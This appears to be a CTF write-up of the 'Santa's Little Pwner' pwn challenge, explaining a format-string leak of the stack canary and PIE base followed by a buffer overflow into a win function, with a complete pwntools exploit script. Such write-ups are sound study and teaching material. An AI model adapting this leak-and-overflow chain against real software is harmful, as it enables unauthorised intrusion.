Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnEasy

Santa'S Little Pwner

CTF writeup for Santa'S Little Pwner from Vianu CTF

//Santa's Little Pwner

//Santa's Little Pwner — Writeup

>Challenge Overview

Santa’s Little Pwner is a 64-bit Linux PWN challenge that protects the binary with the usual modern mitigations (Full RELRO, Canary, NX, PIE). It asks to name two elves and prints flavor text about "segfault-colored sparkles," foreshadowing that the second input is where a vulnerability lives. My goal was to understand the binary locally, build a reliable exploit, and then run the exploit against the remote instance at 34.159.68.68:31428.

>Local Triage

  1. Initial run — Launching the binary immediately prints two prompts for elf names. The first input is echoed by printf (the flavor text includes the user’s name), while the second is read with fgets into a fixed-size buffer.
  2. Security characteristicschecksec reports Full RELRO, Canary, NX, PIE, but the binary is unstripped, so I can analyze it with objdump.
  3. Disassembly insightname_elf (called twice from main) is the entry point for the prompts. It uses printf to describe the elf, then fgets(..., 0x80) followed by some newline stripping. There is no bounds checking on the second prompt, but a stack canary blocks traditional overflows unless it can be leaked. There is also a win function that opens flag.txt and prints the flag, so ret2win is the obvious goal.

>Exploitation Strategy

  • Leak the Canary + PIE base: The first name_elf call has a printf that takes the attacker-controlled input directly, making it a format-string gadget. By sending %23$p.%27$p, I was able to leak both the stack canary and the return address inside main. The difference between the leaked main return address and the known main symbol gives the PIE base.
  • Overwrite the return address: The second prompt writes up to 0x80 bytes with fgets. I overflowed the buffer up to the saved canary, preserved the canary, overwrote saved RBP, then wrote a ret gadget followed by the address of win. The extra ret prevents stack-misalignment crashes when glibc uses instructions like movaps.
  • Toolkit: I scripted the exploit in Python with pwntools so the formatting, leaking, and payload-building logic stayed clean. The script can run both locally and remotely; it detects arguments and opens a TCP connection when asked.

>Local Success

Running the script locally gave the message from win:

Ho Ho Ho! Flag: Vianu_CTF{local_test_flag}

That proved the format-string leak + overflow chain works and confirmed that the Canary + PIE calculation is correct.

>Remote Exploitation

Using the same script against the provided remote service at 34.159.68.68:31428 reproduced the process remotely:

  • Format string leaks reveal the canary and PIE base.
  • Overflowing the second prompt with the aligned ROP chain lands in win.
  • The remote service prints the real flag:
Ho Ho Ho! Flag: CTF{wh0_15_4_g00d_b0y_pwn3r}

>Exploit Code

(The full code is in exploit.py.)

python

#!/usr/bin/env python3

from pwn import *

BIN_PATH = "./santas_little_pwner"

elf = context.binary = ELF(BIN_PATH)

context.terminal = ["bash", "-lc"]

CANARY_SLOT = 23

MAIN_SLOT = 27

BUF_TO_CANARY = 0x48

def start():

    if args.REMOTE:

        if not args.HOST or not args.PORT:

            raise SystemExit("Usage: REMOTE=1 HOST=<host> PORT=<port> ./exploit.py")

        return remote(args.HOST, int(args.PORT))

    return process(elf.path)

def leak_canary_and_pie_base(io):

    io.recvuntil(b"Enter your elf's name: ")

    io.sendline(f"%{CANARY_SLOT}$p.%{MAIN_SLOT}$p".encode())

    blob = io.recvuntil(b"what a festive name!")

    leaked = blob.split(b",", 1)[0]

    canary_s, main_s = leaked.split(b".")

    canary = int(canary_s, 16)

    main_addr = int(main_s, 16)

    pie_base = main_addr - elf.symbols["main"]

    return canary, pie_base

def build_payload(canary, pie_base):

    rop = ROP(elf)

    ret_gadget = pie_base + rop.find_gadget(["ret"]).address

    win_addr = pie_base + elf.symbols["win"]

    payload = flat(

        b"A" * BUF_TO_CANARY,

        p64(canary),

        b"B" * 8,

        p64(ret_gadget),

        p64(win_addr),

    )

    return payload

def main():

    io = start()

    canary, pie_base = leak_canary_and_pie_base(io)

    log.info(f"canary = {hex(canary)}")

    log.info(f"pie_base = {hex(pie_base)}")

    io.recvuntil(b"Enter your elf's name: ")

    io.sendline(build_payload(canary, pie_base))

    io.interactive()

if __name__ == "__main__":

    main()

>References

  • Pwntools documentation for connection handling and ROP helpers: https://docs.pwntools.com/
  • Standard ret2win exploitation knowledge (stack overflows + canary handling) from previous pwn practice.